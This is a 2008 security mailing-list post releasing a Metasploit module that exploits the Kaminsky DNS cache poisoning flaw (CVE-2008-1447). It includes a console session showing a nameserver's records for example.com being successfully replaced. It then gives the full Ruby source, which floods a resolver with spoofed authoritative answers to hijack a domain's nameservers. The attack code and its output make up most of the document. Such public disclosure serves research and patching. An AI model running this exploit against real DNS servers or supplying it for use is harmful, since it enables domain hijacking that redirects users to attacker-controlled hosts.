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CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
From: "I)ruid" <druid () caughq org>
Date: Wed, 23 Jul 2008 22:48:38 -0500

                      ____      ____     __    __
                     /    \    /    \   |  |  |  |
        ----====####/  /\__\##/  /\  \##|  |##|  |####====----
                   |  |      |  |__|  | |  |  |  |
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  ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
                     \____/  |__|  |__|  \______/
                                                     
                    Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0003
Release Date:   2008.07.23
Title:          bailiwicked_domain.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email:   I)ruid <druid (@) caughq.org>
                H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain.  By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.  This insertion completely replaces the original nameserver
records for the target domain.


Example
=======

# /msf3/msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
       =[ 73 aux

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

b.iana-servers.net.
a.iana-servers.net.

msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            171957  IN      NS      b.iana-servers.net.
[*]   Querying recon nameserver for address of b.iana-servers.net....
[*]    Got an A record: b.iana-servers.net.     171028  IN      A       193.0.0.236
[*]     Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*]     b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            171957  IN      NS      a.iana-servers.net.
[*]   Querying recon nameserver for address of a.iana-servers.net....
[*]    Got an A record: a.iana-servers.net.     171414  IN      A       192.0.34.43
[*]     Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*]     a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed

msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

dns01.metasploit.com.


Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.


References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113


Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary

        include Exploit::Remote::Ip

        def initialize(info = {})
                super(update_info(info, 
                        'Name'           => 'DNS BailiWicked Domain Attack',
                        'Description'    => %q{
                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
                                domains nameserver entries in a vulnerable DNS cache server. This attack works
                                by sending random hostname queries to the target DNS server coupled with spoofed
                                replies to those queries from the authoritative nameservers for that domain.
                                Eventually, a guessed ID will match, the spoofed packet will get accepted, and
                                the nameserver entries for the target domain will be replaced by the server
                                specified in the NEWDNS option of this exploit.
                        },
                        'Author'         => [ 'I)ruid', 'hdm' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 5590 $',
                        'References'     =>
                                [
                                        [ 'CVE', '2008-1447' ],
                                        [ 'US-CERT-VU', '8000113' ],
                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt&apos; ],
                                ],
                        'DisclosureDate' => 'Jul 21 2008'
                        ))
                        
                        register_options(
                                [
                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for 
automatic)", nil]),
                                        OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
                                        OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', 
nil]),
                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', 
'208.67.222.222']),
                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
                                        OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
                                ], self.class)
                                        
        end
        
        def auxiliary_commands
                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
        end

        def cmd_check(*args)
                targ = args[0] || rhost()
                if(not (targ and targ.length > 0))
                        print_status("usage: check [dns-server]")
                        return
                end

                print_status("Using the Metasploit service to verify exploitability...")
                srv_sock = Rex::Socket.create_udp(
                        'PeerHost' => targ,
                        'PeerPort' => 53
                )               

                random = false
                ports  = []
                lport  = nil
                
                1.upto(5) do |i|
                
                        req = Resolv::DNS::Message.new
                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
                        req.rd = 1
                        
                        srv_sock.put(req.encode)
                        res, addr = srv_sock.recvfrom()
                        

                        if res and res.length > 0
                                res = Resolv::DNS::Message.decode(res)
                                res.each_answer do |name, ttl, data|
                                        if (name.to_s == txt and data.strings.join('') =~ 
/^([^\s]+)\s+.*red\.metasploit\.com/m)
                                                t_addr, t_port = $1.split(':')

                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
                                                t_port = t_port.to_i
                                                if(lport and lport != t_port)
                                                        random = true
                                                end
                                                lport  = t_port
                                                ports << t_port
                                        end
                                end
                        end     
                end
                
                srv_sock.close
                
                if(ports.length < 5)
                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
                        return
                end
                
                if(random)
                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
                        print_status("      This server may still be exploitable, but not by this tool.")
                else
                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
                end
        end
                
        def run
                target  = rhost()
                source  = Rex::Socket.source_address(target)
                sport   = datastore['SRCPORT']
                domain  = datastore['DOMAIN'] + '.'
                newdns  = datastore['NEWDNS']
                recons  = datastore['RECONS']
                xids    = datastore['XIDS'].to_i
                newttl  = datastore['TTL'].to_i
                xidbase = rand(20001) + 20000
                
                address = Rex::Text.rand_text(4).unpack("C4").join(".")

                srv_sock = Rex::Socket.create_udp(
                        'PeerHost' => target,
                        'PeerPort' => 53
                )

                # Get the source port via the metasploit service if it's not set
                if sport.to_i == 0
                        req = Resolv::DNS::Message.new
                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
                        req.rd = 1
                        
                        srv_sock.put(req.encode)
                        res, addr = srv_sock.recvfrom()
                        
                        if res and res.length > 0
                                res = Resolv::DNS::Message.decode(res)
                                res.each_answer do |name, ttl, data|
                                        if (name.to_s == txt and data.strings.join('') =~ 
/^([^\s]+)\s+.*red\.metasploit\.com/m)
                                                t_addr, t_port = $1.split(':')
                                                sport = t_port.to_i

                                                print_status("Switching to target port #{sport} based on Metasploit 
service")
                                                if target != t_addr
                                                        print_status("Warning: target address #{target} is not the same 
as the nameserver's query source address #{t_addr}!")
                                                end
                                        end
                                end
                        end
                end

                # Verify its not already poisoned
                begin
                        query = Resolv::DNS::Message.new
                        query.add_question(domain, Resolv::DNS::Resource::IN::NS)
                        query.rd = 0

                        begin
                                cached = false
                                srv_sock.put(query.encode)
                                answer, addr = srv_sock.recvfrom()

                                if answer and answer.length > 0
                                        answer = Resolv::DNS::Message.decode(answer)
                                        answer.each_answer do |name, ttl, data|

                                                if((name.to_s + ".") == domain and data.name.to_s == newdns)
                                                        t = Time.now + ttl
                                                        print_status("Failure: This domain is already using #{newdns} 
as a nameserver")
                                                        print_status("         Cache entry expires on #{t.to_s}")
                                                        srv_sock.close
                                                        disconnect_ip
                                                        return
                                                end
                                        end
                                        
                                end
                        end until not cached
                rescue ::Interrupt
                        raise $!
                rescue ::Exception => e
                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
                end


                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # 
reconnaissance resolver

                print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"

                # Look up the nameservers for the domain
                print_status "Querying recon nameserver for #{domain}'s nameservers..."
                answer0 = res0.send(domain, Net::DNS::NS)
                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} 
authorities"

                barbs = [] # storage for nameservers
                answer0.answer.each do |rr0|
                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"
                        if rr0.type == 'NS'
                                print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
                                #print_status " Got answer with #{answer1.header.anCount} answers, 
#{answer1.header.nsCount} authorities"
                                answer1.answer.each do |rr1|
                                        print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => 
false, :recursive => false, :retry => 1) 
                                        print_status "    Checking Authoritativeness: Querying #{rr1.address} for 
#{domain}..."
                                        answer2 = res2.send(domain)
                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}
                                                barbs << nsrec
                                                print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding 
to list of nameservers to spoof as"
                                        end
                                end
                        end     
                end

                if barbs.length == 0
                        print_status( "No DNS servers found.")
                        srv_sock.close
                        disconnect_ip
                        return
                end

                # Flood the target with queries and spoofed responses, one will eventually hit
                queries = 0
                responses = 0

                connect_ip if not ip_sock

                print_status( "Attempting to inject poison records for #{domain}'s nameservers into 
#{target}:#{sport}...")

                while true
                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

                        # Send spoofed query
                        req = Resolv::DNS::Message.new
                        req.id = rand(2**16)
                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)

                        req.rd = 1

                        buff = (
                                Scruby::IP.new(
                                        #:src   => barbs[0][:addr].to_s,
                                        :src   => source,
                                        :dst   => target,
                                        :proto => 17
                                )/Scruby::UDP.new(
                                        :sport => (rand((2**16)-1024)+1024).to_i,
                                        :dport => 53
                                )/req.encode
                        ).to_net
                        ip_sock.sendto(buff, target)
                        queries += 1
                        
                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
                        req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
                        req.add_authority(domain, newttl, 
Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
                        req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
                        req.qr = 1
                        req.aa = 1

                        xidbase.upto(xidbase+xids-1) do |id|
                                req.id = id
                                barbs.each do |barb|
                                        buff = (
                                                Scruby::IP.new(
                                                        #:src   => barbs[i][:addr].to_s,
                                                        :src   => barb[:addr].to_s,
                                                        :dst   => target,
                                                        :proto => 17
                                                )/Scruby::UDP.new(
                                                        :sport => 53,
                                                        :dport => sport.to_i
                                                )/req.encode
                                        ).to_net
                                        ip_sock.sendto(buff, target)
                                        responses += 1
                                end
                        end

                        # status update
                        if queries % 1000 == 0
                                print_status("Sent #{queries} queries and #{responses} spoofed responses...")
                        end

                        # every so often, check and see if the target is poisoned...
                        if queries % 250 == 0 
                                begin
                                        query = Resolv::DNS::Message.new
                                        query.add_question(domain, Resolv::DNS::Resource::IN::NS)
                                        query.rd = 0
        
                                        srv_sock.put(query.encode)
                                        answer, addr = srv_sock.recvfrom()

                                        if answer and answer.length > 0
                                                answer = Resolv::DNS::Message.decode(answer)
                                                answer.each_answer do |name, ttl, data|
                                                        if((name.to_s + ".") == domain and data.name.to_s == newdns)
                                                                print_status("Poisoning successful after #{queries} 
attempts: #{domain} == #{newdns}")
                                                                srv_sock.close
                                                                disconnect_ip
                                                                return
                                                        end
                                                end
                                        end
                                rescue ::Interrupt
                                        raise $!
                                rescue ::Exception => e
                                        print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
                                end
                        end

                end

        end

end
end


-- 
I)ruid, CĀ²ISSP
druid () caughq org
http://druid.caughq.org

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